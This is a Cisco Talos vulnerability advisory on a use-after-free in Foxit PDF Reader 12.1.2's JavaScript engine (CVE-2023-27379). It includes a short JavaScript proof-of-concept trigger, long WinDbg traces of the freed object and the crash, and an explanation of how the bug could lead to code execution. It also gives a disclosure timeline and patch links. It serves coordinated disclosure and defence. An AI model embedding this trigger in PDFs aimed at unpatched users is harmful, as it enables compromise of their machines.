Talos Vulnerability Report

TALOS-2023-1756

Foxit Reader Field Calculate event use-after-free vulnerability

July 19, 2023
CVE Number

CVE-2023-27379

SUMMARY

A use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 12.1.2.15332. By prematurely deleting objects associated with pages, a specially crafted PDF document can trigger the reuse of previously freed memory, which can lead to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially crafted, malicious site if the browser plugin extension is enabled.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Foxit Reader 12.1.2.15332

PRODUCT URLS

Foxit Reader - https://www.foxitsoftware.com/pdf-reader/

CVSSv3 SCORE

8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

DETAILS

Foxit PDF Reader is one of the most popular PDF document readers. It aims for feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.

Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists a use-after-free vulnerability in the way Foxit Reader handles certain events of form elements, such as text fields or buttons. This can be illustrated by the following proof-of-concept code:

var b = this.getAnnots();

getField("txt5").setAction("Calculate",'app.activeDocs[0].deletePages();app.activeDocs[0].deletePages();'); 
getField('List Box0').setFocus(); 
this.deletePages(); 
this.pageNum = 1; 
this.bookmarkRoot.createChild("a",""); 

The above code simply set the Calculate action for the field txt5. An event in the above code triggers the Calculate action. The execution of the action frees a lot of objects. Later a freed object is used without any validation, leading to a use-after-free condition. We can observe the following in the debugger (with PageHeap enabled):

0:000> g
Breakpoint 1 hit
eax=00000005 ebx=30428f98 ecx=30428f98 edx=00000005 esi=1958dfa0 edi=15accbe0
eip=019eef94 esp=0060de58 ebp=0060de70 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c14:
019eef94 56              push    esi                                                      ; [1]
0:000> dd esi
1958dfa0  0590c25c 1958fff8 00000000 00000000
1958dfb0  00000000 00000000 00000000 00000004
1958dfc0  00000000 00000000 00000000 00000000
1958dfd0  00000000 00000004 19591fe8 19593fe8
1958dfe0  35732ff8 3602ac00 00000000 00000000
1958dff0  19595ff8 39eaafe0 00000000 d0d0d0d0
1958e000  ???????? ???????? ???????? ????????
1958e010  ???????? ???????? ???????? ????????
0:000> p
eax=00000005 ebx=30428f98 ecx=30428f98 edx=00000005 esi=1958dfa0 edi=15accbe0
eip=019eef95 esp=0060de54 ebp=0060de70 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c15:
019eef95 e866130000      call    FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x298f80 (019f0300)
0:000> 
eax=3bad5f80 ebx=30428f98 ecx=00000001 edx=00000005 esi=1958dfa0 edi=15accbe0
eip=019eef9a esp=0060de54 ebp=0060de70 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c1a:
019eef9a 8b7df4          mov     edi,dword ptr [ebp-0Ch] ss:002b:0060de64=1c766fc0
0:000> 
eax=3bad5f80 ebx=30428f98 ecx=00000001 edx=00000005 esi=1958dfa0 edi=1c766fc0
eip=019eef9d esp=0060de54 ebp=0060de70 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c1d:
019eef9d 8bcf            mov     ecx,edi
0:000> 
eax=3bad5f80 ebx=30428f98 ecx=1c766fc0 edx=00000005 esi=1958dfa0 edi=1c766fc0
eip=019eef9f esp=0060de54 ebp=0060de70 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c1f:
019eef9f 50              push    eax
0:000> p
eax=3bad5f80 ebx=30428f98 ecx=1c766fc0 edx=00000005 esi=1958dfa0 edi=1c766fc0
eip=019eefa0 esp=0060de50 ebp=0060de70 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c20:
019eefa0 e8cb57ffff      call    FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28d3f0 (019e4770)  ; [2]
0:000> u
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c20:
019eefa0 e8cb57ffff      call    FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28d3f0 (019e4770)
019eefa5 85c0            test    eax,eax
019eefa7 7810            js      FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c39 (019eefb9)
019eefa9 56              push    esi
019eefaa 8bcb            mov     ecx,ebx
019eefac e84f130000      call    FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x298f80 (019f0300)
019eefb1 50              push    eax
019eefb2 8bcf            mov     ecx,edi
0:000> bp 019eefa5                                                                                                                ; [3]
0:000> p
Breakpoint 0 hit
eax=0060d718 ebx=0060d784 ecx=02bc0420 edx=00000000 esi=3b7d6ff8 edi=36618ff8
eip=02eee239 esp=0060d6f0 ebp=0060d730 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
FoxitPDFReader!FXJSE_GetClass+0x269:
02eee239 ffd1            call    ecx {FoxitPDFReader!safe_vsnprintf+0xf13360 (02bc0420)}                                          ; [4]
0:000> g
Breakpoint 0 hit
eax=0060d718 ebx=0060d784 ecx=02bc0420 edx=00000000 esi=1f584ff8 edi=1c374ff8
eip=02eee239 esp=0060d6f0 ebp=0060d730 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
FoxitPDFReader!FXJSE_GetClass+0x269:
02eee239 ffd1            call    ecx {FoxitPDFReader!safe_vsnprintf+0xf13360 (02bc0420)}                                          ; [5]
0:000> 
0:000> g
Breakpoint 2 hit
eax=00000002 ebx=30428f98 ecx=a94b1d6f edx=00000000 esi=1958dfa0 edi=1c766fc0
eip=019eefa5 esp=0060de58 ebp=0060de70 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c25:
019eefa5 85c0            test    eax,eax
0:000> dd esi                                                                                                                    ; [6]
1958dfa0  ???????? ???????? ???????? ????????
1958dfb0  ???????? ???????? ???????? ????????
1958dfc0  ???????? ???????? ???????? ????????
1958dfd0  ???????? ???????? ???????? ????????
1958dfe0  ???????? ???????? ???????? ????????
1958dff0  ???????? ???????? ???????? ????????
1958e000  ???????? ???????? ???????? ????????
1958e010  ???????? ???????? ???????? ????????
0:000> u
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c25:
019eefa5 85c0            test    eax,eax
019eefa7 7810            js      FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c39 (019eefb9)
019eefa9 56              push    esi
019eefaa 8bcb            mov     ecx,ebx
019eefac e84f130000      call    FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x298f80 (019f0300)  
019eefb1 50              push    eax
019eefb2 8bcf            mov     ecx,edi
019eefb4 e8f75fffff      call    FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28dc30 (019e4fb0)  ; [7]
019eefb9 5f              pop     edi

At [1] above, we see the second argument of the function at [2] being pushed onto the stack. The value being pushed comes from the register esi. At [3], a breakpoint is set on the address after a call to the function to examine the function argument. The function is called at [2] which in turn executes the Calculate action. The Calculate action contains JavaScript code to delete pages, and the method associated with deletPage is called at [4] and [5]. This method frees a large number of objects. Once the function returns, the value passed to the function is checked at [6]. It can be observed that the memory pointed to by the register esi is freed. At [6], the value in esi is pushed onto the stack as an argument to the function at [7]. The function called at [7] uses this value without any validation. This can be observed in a debugger at the time of the crash:

0:000> g
(26e4.19cc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=1c766fc0 ebx=30428f98 ecx=1958dfa0 edx=00000000 esi=1958dfa0 edi=00000002
eip=019e4fef esp=0060de14 ebp=0060de48 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28dc6f:
019e4fef 8b01            mov     eax,dword ptr [ecx]  ds:002b:1958dfa0=????????
0:000> dd ecx
1958dfa0  ???????? ???????? ???????? ????????
1958dfb0  ???????? ???????? ???????? ????????
1958dfc0  ???????? ???????? ???????? ????????
1958dfd0  ???????? ???????? ???????? ????????
1958dfe0  ???????? ???????? ???????? ????????
1958dff0  ???????? ???????? ???????? ????????
1958e000  ???????? ???????? ???????? ????????
1958e010  ???????? ???????? ???????? ????????
0:000> u
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28dc6f:
019e4fef 8b01            mov     eax,dword ptr [ecx]
019e4ff1 ff507c          call    dword ptr [eax+7Ch]
019e4ff4 8bc8            mov     ecx,eax
019e4ff6 8945dc          mov     dword ptr [ebp-24h],eax
019e4ff9 8b10            mov     edx,dword ptr [eax]
019e4ffb ff5204          call    dword ptr [edx+4]
019e4ffe 85c0            test    eax,eax
019e5000 7405            je      FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28dc87 (019e5007)
0:000> kb
 # ChildEBP RetAddr      Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0060de48 019eefb9     00000000 1958dfa0 30428f98 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28dc6f
01 0060de70 019f0b31     1958dfa0 a94b1dbb 3bad5f80 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c39
02 0060de9c 019e5639     3bad7ff8 a94b1c0b 3bad5f80 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2997b1
03 0060df2c 01c67241     3bad5f80 a94b1c7b 1c74afd8 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28e2b9
04 0060df5c 01120af8     18e0df50 a94b1c8b ffffffff FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x50fec1
05 0060dfac 00aecc85     3bad5f80 a94b1cc7 387dafb4 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2e6258
06 0060dfe0 00aecd87     00000001 019e3edb 387dada0 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x7f45
07 0060dff4 00af4c21     387dada0 3bad5f80 00000001 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x8047
08 0060e02c 012b1c02     18e0df38 00000000 a94b2373 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0xfee1
09 0060e054 02c5efa1     18e0df38 0060e034 a94b23ef FoxitPDFReader!CryptUIWizExport+0x31eb2
0a 0060e0c8 02c6080a     18e0c1a0 18e03640 00000000 FoxitPDFReader!safe_vsnprintf+0xfb1ee1
0b 0060e114 02c5d9c2     26822ff8 419baff8 0060e0d8 FoxitPDFReader!safe_vsnprintf+0xfb374a
0c 0060e168 02eee23b     26822ff8 0060e198 0060e190 FoxitPDFReader!safe_vsnprintf+0xfb0902
0d 0060e1b0 030d25ab     3c5d7600 41926e65 3c5d7600 FoxitPDFReader!FXJSE_GetClass+0x26b
0e 0060e218 030d1d6e     0060e260 41926e65 0060e338 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e3c9b
0f 0060e2ac 030d2025     0060e2dc 3c5d7600 0060e338 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e345e
10 0060e2f4 030d1eab     0060e30c 00000007 0060e34c FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e3715
11 0060e310 032f432b     00000007 0060e34c 3c5d7600 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e359b
12 0060e32c 03290389     41702339 4192700d 0000000e FoxitPDFReader!CFXJSE_Arguments::GetValue+0x405a1b
13 0060e378 03290389     4193eb6d 42091d85 42091dc9 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3a1a79
14 0060e3a4 0328ea10     4193eb6d 417021b1 42091d85 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3a1a79
15 0060e3bc 0328e839     00000000 00000000 00000002 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3a0100
16 0060e3e8 02f2aa8e     3c5d7600 41702339 42091d85 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x39ff29
17 0060e4f8 02f2a5a2     0060e68c 3c5d7600 0060e554 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3c17e
18 0060e580 02f132a4     0060e68c 3c5d7600 42a56024 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3bc92
19 0060e730 02f12da0     0060e7cc 42a56048 00000000 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x24994
1a 0060e744 02eec7af     0060e7cc 42a56048 a94b249b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x24490
1b 0060e7bc 02eed0e6     42a56024 36696ff8 42a56010 FoxitPDFReader!FXJSE_Runtime_Release+0xd5f
1c 0060e7f8 02b64a14     41f40fd8 225397dc 36696ff8 FoxitPDFReader!FXJSE_ExecuteScript+0x86
1d 0060e85c 02b65900     00000000 0060e8e8 0060e890 FoxitPDFReader!safe_vsnprintf+0xeb7954
1e 0060e870 0110119d     0060e8e8 0060e890 a94b2b87 FoxitPDFReader!safe_vsnprintf+0xeb8840
1f 0060e8a0 01100064     406caf40 00000015 0060e8c8 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2c68fd
20 0060e8e0 010feae0     225437b8 387dada0 36022fb8 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2c57c4
21 0060e934 00a2a522     0060e964 387dada0 36022fb8 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2c4240
22 0060e984 00c876db     00000000 a94b368f 7fffffff FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x8a02
23 0060f5a8 0433d52b     00000000 00000000 a94b355f FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x64bcb
24 0060f678 0433e704     00000429 00000000 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1d0dfb
25 0060f69c 043390aa     00000429 00000000 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1d1fd4
26 0060f710 0433991d     20120e20 000e0522 00000429 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1cc97a
27 0060f730 76dd23a3     000e0522 00000429 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1cd1ed
28 0060f75c 76dc30b6     043398e9 000e0522 00000429 USER32!_InternalCallWinProc+0x2b
29 0060f854 76dc1975     043398e9 00000000 00000429 USER32!UserCallWinProcCheckWow+0x4c6
2a 0060f8d0 76dc14c0     00000429 0060f8f8 00c0d3c4 USER32!DispatchMessageWorker+0x4a5
2b 0060f8dc 00c0d3c4     0f41eec8 0f41eec8 061a7798 USER32!DispatchMessageW+0x10
2c 0060f8f8 00c0d483     061a7798 00c0d3f0 ffffffff FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x128684
2d 0060f918 0475b2fe     00000000 061d3b14 07762000 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x128743
2e 0060f930 04520cc0     007f0000 00000000 0c1b4360 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x5eebce
2f 0060f97c 75f67d59     07762000 75f67d40 0060f9e4 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x3b4590
30 0060f98c 772fb74b     07762000 5ddcd913 00000000 KERNEL32!BaseThreadInitThunk+0x19
31 0060f9e4 772fb6cf     ffffffff 77328651 00000000 ntdll!__RtlUserThreadStart+0x2b
32 0060f9f4 00000000     04520d8f 07762000 00000000 ntdll!_RtlUserThreadStart+0x1b

In the above debugger output, we can observe ecx contains the same memory pointer which belongs to a freed allocation. The value in ecx is dereferenced as if it were an object pointer. This directly leads to a use-after-free condition and results in a crash. Subsequent instructions constitute the usual vtable function call, with the actual function pointer coming from an area pointed to by ecx. This would give an attacker direct control over execution control flow.

Since additional Javascript code can be executed between object free and reuse, freed memory could be put under attacker control. With careful memory layout manipulation, this can lead to further memory corruption and ultimately arbitrary code execution. Additionally, it should be noted that this vulenrability is very similar to a previously reported use-after-free that was tracked as CVE-2022-32774 and TALOS-2022-1600.

VENDOR RESPONSE

Foxit provided patches here: https://www.foxit.com/downloads/#Foxit-Reader/ and here: https://www.foxit.com/downloads/#Foxit-PhantomPDF-Business/

TIMELINE

2023-06-12 - Vendor Disclosure
2023-07-19 - Vendor Patch Release
2023-07-19 - Public Release

Credit

Discovered by Aleksandar Nikolic and Kamlapati Choubey of Cisco Talos.